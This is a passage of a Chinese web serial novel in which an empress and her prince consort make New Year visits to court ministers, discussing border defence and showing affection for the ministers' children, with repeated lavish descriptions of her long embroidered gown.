这件棉质睡裙,因苏锦工艺精湛,质地轻薄柔软,即便裙幅巨大,穿着亦不觉特别沉重,反而因其贴身舒适,成了她最惯常的装束。 外面罩着的那件黑金色霞帔,此刻因室内温暖,已被她解下,由随侍的宫女恭敬地捧在手中,准备挂到一旁的云母屏风上。 那霞帔的墨色底料上与睡裙同源的金线凤凰纹饰,在光下隐隐生辉。 长达五丈的苏锦拖尾,从院外雪地一路拖行而入,沾带的冰冷雪粒在温暖的室内迅速融化,在光洁的金砖地面上洇开深色的、断续的水痕,更使得那迤逦铺散的裙摆显得潮湿而凌乱不堪。 一部分拖尾堆叠在门槛内侧,皱褶里还夹着未化尽的雪晶;一部分蜿蜒穿过大半个暖阁,直至内室入口,墨金色的锦缎与地面摩擦,留下蜿蜒的痕迹;更有几处,被她自己或林臻无意中踩踏过,留下了明显的折痕和湿印。 这种未经打理、自然形成的凌乱,与她此刻放松惬意的心境浑然一体。 宽大的喇叭袖一只软软垂在身侧,袖口繁复的金线刺绣边缘有些湿润,另一只则被她用来微微拂去鬓角沾染的、已然融化的雪水。 她左手拇指上的那枚墨玉扳指,在室内温和的光线下,泛着莹润的光泽。 林臻接过宫女递上的热毛巾,先并未自己擦拭,而是转身,极为自然地、轻柔地替慕容嫣擦拭她微湿的发梢和冻得有些发红的脸颊和双手。 他的动作细致专注,仿佛在对待一件稀世珍宝。 “瞧你,玩得像个孩子,手都冰透了。”林臻语气带着心疼的责备,更多的却是化不开的宠溺。 他握着她微凉的手,用自己的掌心温暖着。 慕容嫣任由他施为,仰着脸,凤眸弯弯,里面盛满了依赖和满足,撒娇道:“有夫君在,才敢像个孩子嘛。外面雪景真好,堆的雪人也好看,可惜不能久留。” 她说着,还轻轻跺了跺脚,仿佛要抖落裙摆上并不存在的积雪,那长长的、湿漉漉的拖尾随之在地面上发出轻微的摩擦声。 “雪年年都有,等你身子大好了,我再陪你去堆十个八个。”林臻笑着,牵着她走到窗边的暖榻坐下。 榻上铺着厚厚的白虎皮褥,中间摆着一张紫檀木矮几,几上已备好了热茶和几样精致的果品,其中一盘黄澄澄的蜜橘尤为诱人。 慕容嫣倚着柔软的引枕,目光落在那些橘子上,忽然来了兴致。 她伸手取过一只,橘子还带着些许凉意,衬得她指尖愈发白皙。 她低头,专注地开始剥橘。她的指甲修剪得圆润整洁,带着健康的粉色,耐心地、一点点地将橘皮剥离,露出里面饱满多汁的橘瓣,清甜的橘香瞬间在暖阁中弥漫开来。 她细心地将白色的橘络也剔除干净,然后拿起一瓣最饱满的,并未自己吃,而是自然而然地递到林臻唇边。 “夫君,尝尝,甜不甜?”她仰着头,眼中带着期盼,如同献宝一般。 林臻看着她专注剥橘、又第一时间想到自己的模样,心中暖流涌动,张口接过橘瓣,细细品尝,然后肯定地点头:“很甜,比宫里的贡橘还要甜上几分。” 他说的自然是真心话,这橘子的甜,更多是源于递橘之人那份心意。 慕容嫣闻言,脸上绽开明媚的笑容,比自己吃了还要开心。 她又剥开一瓣,这次才送入自己口中,满足地眯起眼:“嗯,是真的很甜。” 她继续剥着,将剥好的橘瓣一半递给林臻,一半留给自己,两人就这样并肩坐在暖榻上,分食着一只橘子,偶尔低声交谈几句,窗外是皑皑白雪,窗内是橘香氤氲,温情脉脉。 就在这静谧温馨的时刻,暖阁外传来轻轻的叩门声,王府总管恭敬的禀报:“王爷,王妃,老王爷派人送来些东西。” 林臻扬声道:“进来吧。” 总管躬身而入,身后跟着两名小厮,手中捧着几个锦盒。 总管行礼后,禀告道:“王爷,王妃,这是老王爷让送来的新年贺礼。老王爷说,不是什么贵重物件,就是几支上好的老山参,给王妃补补身子;还有一坛陈年的虎骨酒,让王爷冬日里偶尔饮一杯驱驱寒。” 小厮将锦盒放在矮几旁。 慕容嫣放下手中的橘子,坐直了些,语气温和地对总管道:“有劳总管了。代本宫与王爷多谢爷爷厚赐,爷爷费心了。” 总管连称不敢,接着,脸上露出一丝更为郑重的神色,微微向前一步,压低了些声音道:“老王爷还有几句话,让老奴务必转达王爷和王妃。” 林臻与慕容嫣对视一眼,神色也认真起来。林臻道:“爷爷有何吩咐,但说无妨。” 总管清了清嗓子,字句清晰地说道: “老王爷说,年节下,虽是家人团聚之时,却也是君臣同乐、联络情谊的好时机。王爷与王妃如今身负江山之重,一举一动,关乎社稷安稳。老王爷想着,京中几位德高望重的老臣,如杜如晦杜相、兵部周尚书、还有几位宗室长辈,王爷与王妃或可趁着这几日闲暇,亲自过府探望一二,不必大张旗鼓,只需带上些宫中御制的寻常年礼,表露一份心意即可。此举,既全了君臣之礼,亦显天家恩泽,更能……嗯,更能让那些老臣们感念天恩,知晓陛下与殿下心中始终记挂着他们,于朝局稳定,大有裨益。老王爷说,这叫‘润物细无声’。” 总管说完,垂手侍立一旁。 林臻听罢,沉吟片刻,眼中闪过一丝了然与敬佩。 他看向慕容嫣,轻声道:“爷爷深谋远虑,所虑极是。年节走动,确是稳固人心、彰显恩宠的良机。尤其此刻北疆局势微妙,朝中更需要上下同心。” 第1053章 串门子 慕容嫣微微颔首,她何等聪慧,立刻明白了林震仙的深意。 这并非简单的礼节性拜访,而是蕴含着深刻的政治智慧。 通过这种看似家常的走动,既能安抚重臣,彰显皇室亲和,又能暗中观察各府动向,巩固统治核心。 她纤长的手指无意识地轻轻敲击着矮几边缘,那枚墨玉扳指与紫檀木相触,发出极轻微的“笃笃”声。 “爷爷思虑周全,提醒得正是时候。” 慕容嫣开口,声音恢复了平日处理政务时的清越与沉稳,但对着林臻,语气仍带着商量与依赖, “夫君觉得,我们何时前往较为妥当?又该备些什么礼物,方能既显重视,又不至于显得过于刻意?” 林臻握住她的手,指尖在她手背上轻轻摩挲,沉吟道: “明日初四,便可开始。先从杜相府上开始吧,他乃文臣之首,德高望重。礼物嘛……就按爷爷说的,不必过于奢华,选些宫中的特色年点、上等绸缎,再搭配一两件寓意吉祥的文房清玩即可。关键是那份亲临的心意。” “嗯,就依夫君所言。”慕容嫣点头应允,随即又轻轻蹙了下眉,带着一丝撒娇的意味,“只是又要辛苦夫君陪我奔波了。” 林臻失笑,伸手替她将一缕滑落的青丝拢到耳后:“傻话,与你同行,何谈辛苦。正好也让你散散心,总在宫里待着也闷。” 正事议定,慕容嫣心情放松,又想起方才未吃完的橘子,便欲转身去拿。 就在她回身的瞬间—— 动作带着商议完正事后、重归温馨的轻盈与自然! 那铺散在暖榻之下、沾染了雪水、迤逦凌乱长达五丈的墨金色苏锦拖尾,被这骤然转身的动作带动! 华贵的锦缎拂过温暖干燥的金砖地面,发出“唰啦”一声轻响,带起些许细微的水汽。 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在暖阁明亮光线下闪烁着如同熔金般温暖而璀璨光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出耀眼而浑厚的金芒。 那光芒充满了安宁、满足以及对身边人毫无保留的信赖,尊贵、辉煌,且带着一种卸下政务后的闲适与温情,仿佛象征着内里充盈的暖意与稳固的依靠! 裙摆落下,将那片璀璨的金光掩盖。 慕容嫣拿起剩下的橘子,继续剥开,暖阁内再次充满了清甜的橘香和低低的笑语。 ...... 晨光熹微,寒意未退,摄政王府门前却已备好了车驾。 今日,帝后二人将依循老摄政王林震仙的建议,微服拜访几位朝廷重臣,以示天恩。 慕容嫣起身后,依旧只穿着那身神凤降世裙。 这袭睡裙以极致玄黑的苏锦为底料,织造时融入了细软的金色棉绒,使得墨色底中隐隐流淌着暗金光泽,华贵而内敛。 苏锦工艺精湛,质地轻薄柔软,虽是棉质,却因织法细密,触感柔滑,即便裙幅浩大,穿着亦不觉特别沉重,反而因其透气亲肤,成了她最惯常的装束。 裙上,用最上等的真金线,以卓绝的绣工,绣制着一只神骏非凡、展翅欲翔的凤凰,图案布满整件睡裙,自前胸后背蔓延至宽大的喇叭袖,更与那长达五丈的苏锦拖尾连为一体,凤凰尾羽化为拖尾上绵延不绝的华丽纹饰。 此刻,为示庄重,她在睡裙之外,罩上了那件与之相配的黑金色霞帔,霞帔的墨色底料上同样以金线绣着凤凰云纹,与睡裙相得益彰,更添雍容威仪。 长长的拖尾并未经人拾掇,自然迤逦于身后,在王府内光滑如镜的金砖地面上铺散开,因晨起行走,裙摆堆叠皱褶,蜿蜒曲折,显得十分凌乱,却自有一种不容置喙的天然威仪。 宽大的喇叭袖口,金线绣边流苏垂落,华丽非常。 她左手拇指上的那枚墨玉扳指,温润生辉。 除此之外,周身再无多余饰物,亦未戴斗笠、斗篷、手套指套。 林臻已收拾停当,穿着一身墨色绣金蟒纹常服,外罩玄色大氅,更显身姿挺拔。 他步入殿内,见慕容嫣已准备妥当,正对镜整理霞帔的系带。 他走上前,极自然地伸手,替她将霞帔的领口整理得更加服帖平整,动作轻柔熟练。 “都准备好了?”慕容嫣抬眼看他,凤眸中含着笑意,语气带着一丝依赖的询问。 “嗯,车驾已备好,礼物也按清单装车了。”林臻点头,目光落在她未施粉黛却清丽绝伦的脸上,柔声道,“今日要走动几家,若是累了,随时告诉我,我们便回来。” “有夫君在身边,怎会累。”慕容嫣嫣然一笑,伸手替他拂了拂大氅上并不存在的灰尘,动作亲昵自然,“再说,不过是去杜相他们府上坐坐,说说话,又不是上朝,轻松得很。” 林臻握住她的手,感觉指尖微凉,便蹙眉道:“手这样凉,还是再加个手炉吧。” 说着便要吩咐宫人。 “不必了,”慕容嫣反手握住他的手腕,摇摇头,“车内暖和,何况这神凤降世裙穿着并不觉冷,苏锦轻薄却密实,很是挡风。再说,” 她顿了顿,语气略带娇嗔, “拿着手炉,反倒不便行动了。” 林臻知她不喜累赘,又见她神色如常,便也不再坚持,只将她的手拢在自己掌心暖着,一同向外走去。 那长达五丈的墨金色拖尾,在二人身后迤逦铺开,随着他们的步伐,在洁净的地面上划过一道流动的墨色轨迹,凌乱中带着帝后同心的独特气度。 帝后銮驾并未大张旗鼓,仅是两辆看似普通却内里极为舒适坚固的马车,在精锐侍卫的便装护卫下,悄无声息地驶出了王府,融入了长安城年初四已然开始活跃的车流中。 按照计划,首站便是当朝宰相杜如晦的府邸。 杜府位于长安城东的崇仁坊,府邸并不算特别宏伟,却自有一股清雅书卷气。 第1054章 杜如晦的心思 听闻帝后驾临,杜如晦早已率领家眷在府门外恭迎。 见到车驾停下,杜如晦立即上前,躬身行礼:“老臣杜如晦,携家眷恭迎陛下、亲王殿下圣驾!陛下与殿下亲临,寒舍蓬荜生辉!” 慕容嫣在林臻的搀扶下,优雅地走下马车。 她并未戴凤冠,只以一支简单的碧玉凤簪绾发,身上那件罩在黑金色霞帔下的神凤降世裙,在冬日淡薄的阳光下,墨色更显沉静,金线绣成的凤凰暗纹流转着温润的光泽,既不失威仪,又比全套朝服多了几分亲和。 长长的拖尾随着她下车的动作,从车辕上滑落,铺散在杜府门前的青石台阶上,沾染了些许尘埃,更显其不经雕琢的凌乱之美。 “杜相不必多礼,快快请起。”慕容嫣虚扶一下,声音温和却自带威严,“今日朕与亲王过府,乃是家宴闲话,不必拘泥朝礼。” “是啊,杜相,年节下,无需如此客套。”林臻也含笑接口,态度随和。 杜如晦连称不敢,恭敬地将帝后二人迎入府中。 杜府的陈设果然如其人,简洁雅致,多见书籍字画,少见奢靡之物。宾主在正厅分宾主落座。 慕容嫣端坐上位,那长长的墨金色拖尾自然铺陈在座椅周围及身后的地面上,与厅中简朴的氛围形成一种奇特的对比与和谐。林臻坐于她身侧。 侍女奉上香茗。 慕容嫣并未先开口论政,而是目光温和地扫过杜如晦身后恭敬侍立的家眷,尤其是几个年幼的孩童,柔声问道: “杜相,这几个孩儿可是你的孙儿?瞧着甚是伶俐可爱。” 杜如晦忙让孙辈上前磕头。 慕容嫣示意免礼,还让随行内侍赏了孩子们一些宫制的精巧糖果和文具,孩子们又惊又喜,厅内气氛顿时轻松了不少。 “劳陛下挂心,正是老臣的几个不成器的孙儿。”杜如晦恭敬回答,眼中却流露出慈爱之色。 “杜相过谦了,”林臻笑道,“听闻府上几位公子皆在国子监进学,学业优异,将来必是国家栋梁。” “王爷谬赞了,犬子辈资质平庸,还需勤勉用功,方能不负皇恩。”杜如晦谦逊道。 话题自然地从家事引向国事。慕容嫣端起茶盏,轻轻拨弄着茶沫,状似无意地问道: “杜相,年节下,各部衙门户部递上来的奏章,朕瞧着,关于来年漕运疏通、以及北方边镇粮饷预算的条陈,似乎还有些争议之处?” 杜如晦立刻神色一正,恭敬答道:“回陛下,确有几处细节尚需斟酌。漕运方面,工部与户部在河道清淤的银两分摊上略有歧见;边镇粮饷,兵部与户部对于转运损耗的核定标准也需统一。老臣已召集相关官员,年后首次常朝前,必当厘清细则,呈报陛下御览。” “嗯,”慕容嫣微微颔首,“漕运乃国脉,边饷系军心,皆不可轻忽。杜相老成谋国,有你把关,朕心甚安。” 她语气平和,却带着不容置疑的决断力, “些许分歧,需当机立断,莫要因小失大,延误了春耕备战的要务。” “老臣明白,定当竭尽全力,尽快协调妥当。”杜如晦肃然应道。 林臻在一旁补充道:“杜相办事,陛下与本王自是放心的。只是北疆近日似有异动,各项后勤保障需得更趋完善,方能防患于未然。” “王爷提醒的是,”杜如晦面色凝重,“老臣已密令户部、工部,对北疆各镇粮草、军械库存进行暗查,确保充足无误。” 又闲谈了几句朝中其他事务以及长安年节风物,慕容嫣见目的已达,便示意林臻。 林臻会意,对杜如晦笑道: “今日叨扰杜相许久,见府上一切安好,朕与陛下也就放心了。些许年礼,不成敬意,还望杜相笑纳。” 随行内侍将早已备好的礼单呈上,无非是些宫缎、珍玩、药材等,既显恩宠,又不至过于奢华引人侧目。 杜如晦感激涕零,率全家跪谢天恩。慕容嫣与林臻起身离座,准备告辞。就在慕容嫣转身,面向厅门方向时—— 动作带着探访结束、准备起驾的从容与威仪! 那铺散在座椅周围、地面之上的长达五丈的墨金色苏锦拖尾,被这骤然转身的动作带动!华贵的锦缎拂过杜府厅堂光洁的石板地面,发出“唰啦”一声轻响。 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在厅堂光线映照下闪烁着如同暗夜星河般璀璨而深邃光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出如同深渊熔金般厚重而威严的金芒,那光芒充满了恩威并施、洞察秋毫的帝王心术,尊贵、辉煌,且带着一种于细微处掌控全局的、不容置疑的权威感! 这惊鸿一瞥,是她身为统治者,在亲和外表下,绝对权力的无声彰显。 裙摆落下,将那片璀璨的金光掩盖。 慕容嫣与林臻在杜如晦全家恭敬的送别声中,登上了马车。 车内铺着厚厚的软垫,温暖如春。 慕容嫣轻轻舒了口气,靠向软垫,脸上露出一丝倦色,但眼神明亮。 “如何?可还撑得住?”林臻关切地问,递上一杯温热的参茶。 慕容嫣接过,小呷一口,摇摇头:“无妨,只是说话需拿捏分寸,比批阅奏章倒也不轻松。” 她顿了顿,看向林臻,眼中带着狡黠的笑意, “不过,看来爷爷说得对,这般走动,确实比在宫中下十道旨意还有效。杜相是个明白人。” 林臻笑着握住她的手:“杜相是聪明人,自然领会圣意。接下来去周尚书府上,便可更随意些了。” 马车缓缓启动,驶向下一站。 慕容嫣靠在林臻肩头,闭目养神。 那身神凤降世裙的墨金色泽,在车内的光线下静静流淌,如同她此刻运筹帷幄的心境。 而那不经意间露出的织金内衬,则象征着潜藏在这份温情脉脉之下的、坚不可摧的皇权与力量。拜访重臣之旅,才刚刚开始。 第1055章 漠北实在太冷了 晌午过后。 帝后的车驾离开了杜如晦宰相清雅的府邸,穿过长安城熙攘的街市,转向了位于城西武德坊的兵部尚书周擎的府邸。 与杜府的文雅书卷气不同,周府门前矗立着两尊威风凛凛的石狮,门楣高悬,隐隐透出一股武将世家特有的肃杀与硬朗之气。 听闻帝后驾临,周擎早已率领家中子弟亲兵,顶盔贯甲,在府门外列队恭迎,军容整肃,鸦雀无声。 慕容嫣在林臻的搀扶下,再次优雅地步下马车。 她依旧只穿着那身作为唯一服饰的神凤降世裙,外罩黑金色霞帔。 午后的阳光比清晨热烈些,映照在那墨黑为底、织入金色棉绒的苏锦之上,使得那沉静的玄色中流淌的暗金光泽愈发明显,仿佛有熔金在深处涌动。 苏锦工艺赋予这棉质睡裙极佳的垂坠感和轻盈度,即便裙裾浩大,行动间亦不显特别沉重累赘。 裙身上,用真金线绣成的那只布满整体的凤凰,在光下熠熠生辉,凤首高昂,羽翼铺展至宽大的喇叭袖,袖口金线流苏华丽垂落,凤尾则与那长达五丈的苏锦拖尾浑然一体,迤逦于身后。 此刻,这长长的拖尾已从杜府沾染了些许尘埃,又经车马辗转,更显凌乱不堪,皱褶层叠,蜿蜒拖行在周府门前的青石板上,与周围肃立的甲士形成了鲜明而又奇特的对比。 那件黑金色霞帔,披在她肩头,随着她的步伐轻轻摆动。她左手拇指上的墨玉扳指,在阳光下泛着幽深的光泽。 “臣周擎,率阖府恭迎陛下、亲王殿下圣驾!陛下万岁!王爷千岁!”周擎声若洪钟,抱拳行礼,身后将士齐声附和,声震屋瓦,带着军人特有的豪迈与恭敬。 “周爱卿平身,诸位将士请起。”慕容嫣虚抬右手,声音清越,带着一丝恰到好处的温和,冲淡了现场的肃杀之气,“今日朕与亲王过府,乃是寻常走动,不必如此隆重军礼。” 林臻也含笑接口:“周尚书,年节下,放松些。陛下与本王小坐片刻便走,莫要惊扰了府上眷属过节。” 周擎连称“礼不可废”,但神色明显放松了些,恭敬地将帝后二人迎入府中。 周府的厅堂与杜府迥异,陈设简朴硬朗,多见兵器架、疆域沙盘,墙上悬挂着巨大的军事舆图,空气中似乎都弥漫着一股淡淡的皮革与金属的气息。 宾主在厅中落座,慕容嫣自然居于上首,那墨金色的长长拖尾在她坐定后,铺散在座椅周围及身后的地面上,与厅中冷硬的氛围形成一种独特的融合。 林臻坐于其侧。 侍女奉上茶,是滋味浓酽的砖茶,与杜府的清茶风味迥异。 慕容嫣端起茶盏,指尖摩挲着温热的瓷壁,目光扫过厅中陈设,最后落在周擎那张饱经风霜、目光锐利的脸上,开门见山却语气平和: “周爱卿,北疆近日情况如何?将士们年节可还安稳?” 周擎闻言,神色一肃,拱手答道:“回陛下,托陛下洪福,北疆防线目前尚算平稳。各军镇均已按亲王殿下指令,加强戒备,斥候往来不绝。将士们虽戍边艰苦,但粮饷充足,士气可用。只是……” 他顿了顿,眉头微蹙, “漠北王庭今冬异常安静,反倒让老臣心中有些不安。据报,其各部虽收缩,但操练未曾停歇,且似有大规模物资调动的迹象。” 林臻手指轻轻敲击着座椅扶手,接口道: “静水流深,往往暗藏漩涡。乌维此人,狡诈异常,其按兵不动,恐有更大图谋。周尚书需得加倍警惕,尤其是开春之后。” “王爷所言极是!”周擎重重点头,“老臣已传令各镇,严密监控漠北动向,尤其是其与西域方向的联络通道。一有异动,即刻六百里加急奏报!” 慕容嫣微微颔首,放下茶盏,看似随意地拿起桌上一块兵部常用的、代表敌军势力的黑色标识木块,在手中把玩,目光却变得深邃起来: “周爱卿久经沙场,见识广博。对于漠北近日抬出孔家遗孤,冠以‘圣裔驸马’之名,有何看法?”她的声音依旧平稳,但厅内的气氛却瞬间凝重了几分。 周擎花白的眉毛一挑,眼中闪过一丝不屑与怒意,沉声道: “陛下明鉴!此乃乌维老贼惯用的卑劣伎俩!挟持一黄口小儿,妄图窃我华夏正统之名,行其劫掠侵略之实,简直无耻之尤!孔家若真有风骨,岂会与屠戮边民、劫掠成性的漠北蛮族为伍?那孔家子认贼作父,早已自绝于祖宗,自绝于天下!其名号,在我边军将士眼中,不过是一笑柄,更添几分对其之鄙夷与愤慨!” 他语气激昂,带着军人特有的直率与血性。 慕容嫣静静听着,脸上看不出喜怒,只是指尖无意识地摩挲着那枚黑色木块。 林臻适时开口,语气沉稳:“周尚书所言,亦是本王与陛下之心声。然,乌维此举,意在蛊惑人心,尤其是那些不明真相或心怀异志者。我军将士自然心如明镜,但朝野上下,舆论纷杂,不可不防。” 慕容嫣将手中的木块轻轻放回沙盘上,发出“嗒”的一声轻响。 她抬起眼,目光锐利地看向周擎: “周爱卿,依你之见,若漠北真以此为由南犯,我边军当如何应对?又如何……杜绝境内可能与之呼应之内患?” 最后一句,她问得意味深长。 周擎霍然起身,抱拳道: “陛下!我北疆将士,唯知忠君爱国,保境安民!若漠北蛮族敢来犯境,必叫其有来无回,血染黄沙!至于内患……”他眼中寒光一闪,“陛下放心,各军镇要害位置,皆由忠心耿耿之将领把守。锦衣卫与兵部稽查司亦已加强监控,凡有敢与漠北暗通款曲、或散播动摇军心言论者,一经发现,格杀勿论!绝不容此等蛀虫,坏我长城!” 他的回答斩钉截铁,充满了军人的决绝与忠诚。慕容嫣脸上终于露出一丝极淡的、却真实的笑意: “有周爱卿此言,朕心甚慰。北疆安危,系于周爱卿与诸位将士之身,朕与亲王,寄厚望焉。” 她顿了顿,语气放缓,“年节之下,将士们戍边辛苦,朕已命户部加紧拨付额外犒赏,务必让将士们过个好年。” 第1056章 逗孩子玩嘛 “老臣代北疆全体将士,谢陛下天恩!”周擎激动地再次行礼。 又询问了几句关于边军冬装、马匹草料等具体事务后,慕容嫣见目的已达,便示意林臻。 林臻会意,对周擎笑道:“周尚书军务繁忙,朕与陛下便不久留了。些许年礼,聊表心意。” 周擎感激涕零,率众将官恭送帝后至府门。就在慕容嫣转身,准备登车之际—— 动作带着问询完毕、起驾回銮的决断与威仪! 那铺散在周府厅堂冰冷石板地上、沾染了征尘、凌乱长达五丈的墨金色苏锦拖尾,被这骤然转身的动作猛地带动! 华贵的锦缎拂过地面,与甲胄林立的环境形成强烈对比,发出“唰”的一声清晰声响。 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在午后强光与军府肃杀氛围映衬下、闪烁着如同出鞘利剑般凛冽而耀眼金芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出如同烈日灼心般炽热而威严的光华,那光芒充满了对忠诚的嘉许、对叛逆的冷冽以及一种掌控全局、洞悉隐患的绝对自信,尊贵、辉煌,且带着一种面对潜在威胁时、不容置疑的铁血意志! 这惊鸿一瞥,是她作为最高统帅,对国防力量的检阅与对内部稳定的绝对要求。 裙摆落下,将那片凛然的金光掩盖。慕容嫣与林臻在周擎等将领崇敬的目光中登上马车。 车内,慕容嫣轻轻吁了口气,靠向软垫,揉了揉眉心。 “周尚书是个直性子,但忠心可鉴。”林臻递上温水,轻声道。 “嗯,”慕容嫣接过水杯,抿了一口,“有他镇守北疆,可保一时无虞。只是……那孔家遗孤,终究是个隐患。” 她放下水杯,目光透过车窗,望向北方,“乌维将他推出来,绝不会只是摆着好看。” “放心,”林臻握住她的手,目光坚定,“无论乌维有何诡计,无论那孔家子如何,我们都已做了应对。眼下,还需按计划,继续走动,稳定人心。” 马车再次启动,向着下一家重臣府邸驶去。 ...... 傍晚时分。 帝后的车驾离开了肃穆的兵部尚书府,来到了今日行程的最后一站——礼部侍郎李文渊的府邸。 李府位于城南崇仁坊,府邸规模不及宰相府恢弘,也不似将门府邸肃杀,却处处透着诗书传家的清雅与精致。 听闻帝后亲临,李文渊携家眷早已在府门外恭候,人人脸上都带着受宠若惊的激动与不安。 慕容嫣在林臻的搀扶下,再次步下马车。 夕阳的余晖为天地万物镀上了一层温暖的金色,也映照在她那身独一无二的神凤降世裙上。 那极致玄黑的苏锦底料,在柔和的光线下,吸吮着夕晖,泛出一种沉静如古墨般的幽深光泽,而织入其中的金色棉绒与金线绣成的凤凰暗纹,则被点亮,流淌着一种温暖而内敛的辉光。 苏锦工艺的精湛,使得这件棉质睡裙虽裙幅巨大,却依旧保持着轻盈贴体的特性,不会特别沉重。 长长的、长达五丈的苏锦拖尾,在经过一整日的拜访后,不可避免地沾染了多处尘埃,在身后迤逦铺散,于李府门前光滑的石板地上拖曳出更加纷乱复杂的痕迹,皱褶层层叠叠,边缘甚至有些许磨损起毛,呈现出一种极度真实的、风尘仆仆的凌乱感。 那件黑金色霞帔,依旧罩在外面,霞帔上的金凤纹样在夕阳下栩栩如生。 宽大的喇叭袖口,金线流苏随着她的动作轻轻摇曳。 她左手拇指上的墨玉扳指,在夕照下泛着温润的光泽。 “微臣李文渊,率阖家恭迎陛下、亲王殿下圣驾!陛下与殿下亲临,寒门有幸,蓬荜生辉!” 李文渊声音带着文臣特有的恭谨与激动,深深揖首,身后家眷也纷纷跪拜。 “李爱卿平身,诸位请起。”慕容嫣的声音比之前在杜府和周府时,似乎又柔和了几分,带着一丝不易察觉的疲惫,但威仪不减,“年节家常走动,不必多礼。” 林臻也含笑抬手:“李侍郎请起。陛下与本王路过,顺道来看看,莫要拘束了。” 李文渊连声谢恩,恭敬地将帝后迎入府中。 李府的厅堂布置得十分雅致,多宝格上陈列着古籍玉器,墙上挂着山水字画,空气中弥漫着淡淡的书香和墨香。 宾主落座,慕容嫣居于上首,那墨金色的长长拖尾自然铺陈开,与满室书香奇异地融合。林臻坐于其侧。 侍女奉上清茶,是上好的龙井,清香扑鼻。 慕容嫣端起茶盏,并未立刻饮用,目光温和地扫过李文渊身后恭敬侍立的家人。 李文渊子嗣不丰,仅有一子一女,儿子约莫七八岁,穿着崭新的锦袍,小脸圆润,眼神灵动,正偷偷抬眼打量帝后。 女儿则更小些,约四五岁模样,梳着双丫髻,躲在母亲身后,只露出一双乌溜溜的大眼睛,好奇又怯生生地望着慕容嫣身上那华美非凡的衣裙。 慕容嫣的目光在那小女孩身上停留片刻,唇角不自觉地上扬,露出一抹极淡却真实的柔和笑意。 她放下茶盏,对李文渊温言道:“李爱卿,这两位小公子和千金,真是玉雪可爱,瞧着便让人喜欢。” 李文渊受宠若惊,忙道:“陛下谬赞了,犬子顽劣,小女懵懂,当不得陛下如此夸赞。”说着,忙示意两个孩子上前磕头。 那小男孩倒是大方,上前一步,像模像样地作揖:“学生李昀,叩见陛下,叩见亲王殿下。” 声音稚嫩却清晰。 小女孩却有些怕生,扭捏着不肯上前,被她母亲轻轻推上前,才细声细气地说了句:“臣女李萱,叩见陛下……” 说完便想往回缩。 慕容嫣见状,眼中的笑意更深了。 她微微倾身,向那小女孩伸出手,声音放得愈发轻柔,带着一种天然的亲和力:“来,到朕这儿来,让朕瞧瞧。” 她手指上那枚墨玉扳指,在柔和光线下泛着温润的光。 小女孩李萱犹豫了一下,抬头看了看父母鼓励的眼神,又看了看慕容嫣那并非威严而是充满善意的目光,终于怯生生地向前挪了两步。 慕容嫣并未让她再靠近自己的裙摆,以免触碰那不容沾染的拖尾,只是伸手轻轻摸了摸小女孩柔软的发顶,笑道:“好乖巧的孩子。今年几岁了?” “回……回陛下,四岁了。”小女孩小声回答,似乎没那么害怕了。 “四岁,正是最可爱的年纪。”慕容嫣笑道,抬眼看向林臻,眼中带着一丝显而易见的喜爱与……或许是一闪而过的羡慕? 她转头对随侍的宫女示意。 宫女立刻捧上一个精巧的锦盒。 慕容嫣打开,里面是两对用上等羊脂玉雕成的、栩栩如生的兔子镇纸,还有几盒宫制的、造型可爱的动物形状糖果。 第1057章 见面礼 “来,这是朕给你们的见面礼。”慕容嫣将锦盒递给小男孩李昀,又亲自拿了一颗小兔子糖,递给小女孩李萱,“拿着甜甜嘴儿。” 两个孩子又惊又喜,连忙叩谢天恩。 李昀捧着玉镇纸,爱不释手。李萱拿着糖果,小脸上终于露出了开心的笑容,奶声奶气地说:“谢谢陛下!陛下真好!” 看着孩子们纯真的笑脸,慕容嫣脸上的线条愈发柔和。 她甚至难得地、完全放松地靠向了椅背,那长长的墨金色拖尾因她姿态的改变,在座椅周围铺散得更加肆意凌乱。 她目光追随着拿到糖果后活泼了些的李萱,看她小心翼翼地舔着糖果,眼中流露出一种近乎母性的温柔光芒。 林臻将这一切看在眼里,目光也柔和得能滴出水来。 他伸手,轻轻覆在慕容嫣置于膝上的手背上,指尖在她手背轻轻摩挲,低声道:“孩子们很可爱。” 慕容嫣回握住他的手,指尖微凉,却用力地回握了一下。 她转过头看他,眼中那份对孩子的喜爱还未褪去,又融入了对身边人的深情与依赖,声音低得只有两人能听见:“若是我们……” 她的话没有说完,但未尽之语中的期盼与一丝淡淡的怅然,却清晰地传递给了林臻。 林臻心中一紧,随即化为更深的怜爱与决心。 他用力握了握她的手,声音沉稳而充满保证:“会的,嫣儿。等你身子养得更好些,一定会的。” 他目光扫过那两个孩子,又回到慕容嫣脸上,带着安抚的笑意, “你看,李侍郎家这一双儿女,教得多好。将来我们的孩儿,定会比他们更聪慧可爱。” 慕容嫣脸上微微一红,嗔怪地看了他一眼,眼中却漾开了甜蜜的笑意,将那丝怅然冲淡了不少。 她收回目光,又逗弄了小男孩李昀几句,问他读了什么书,可曾开蒙,语气温和,如同寻常人家关爱子侄的长辈。 李昀起初还有些拘谨,见陛下如此平易近人,也渐渐放开了,竟背诵了一段《千字文》,口齿清晰,颇得慕容嫣嘉许。 厅内气氛因孩子们的存在而变得格外温馨轻松,全然不见了前两处府邸谈论军政要务时的凝重。 李文渊夫妇见帝后如此喜爱自己的孩子,心中又是激动又是惶恐,连连谦谢。 又闲话了片刻家常,询问了李文渊一些关于年后祭典筹备的琐事,慕容嫣见时辰不早,夕阳已渐西沉,便示意林臻。 林臻会意,对李文渊笑道:“李侍郎,天色已晚,朕与陛下便不打扰府上团聚了。今日见府上和睦,子女聪颖,朕心甚慰。” 李文渊全家再次跪谢天恩,恭送帝后至府门。慕容嫣临上车前,又回头看了一眼被母亲牵着手、正努力挥着小手告别的李萱,眼中闪过一丝不易察觉的柔和。 就在她转身,准备登车的刹那—— 动作带着一丝对温馨家庭场景的留恋与即将离去的不舍! 那铺散在李府厅堂外台阶上、沾满黄昏露水与尘埃、凌乱长达五丈的墨金色苏锦拖尾,被这带着些许缠绵意味的转身动作悄然带动! 华贵的锦缎拂过微湿的石阶,发出“窸窣”的轻响。 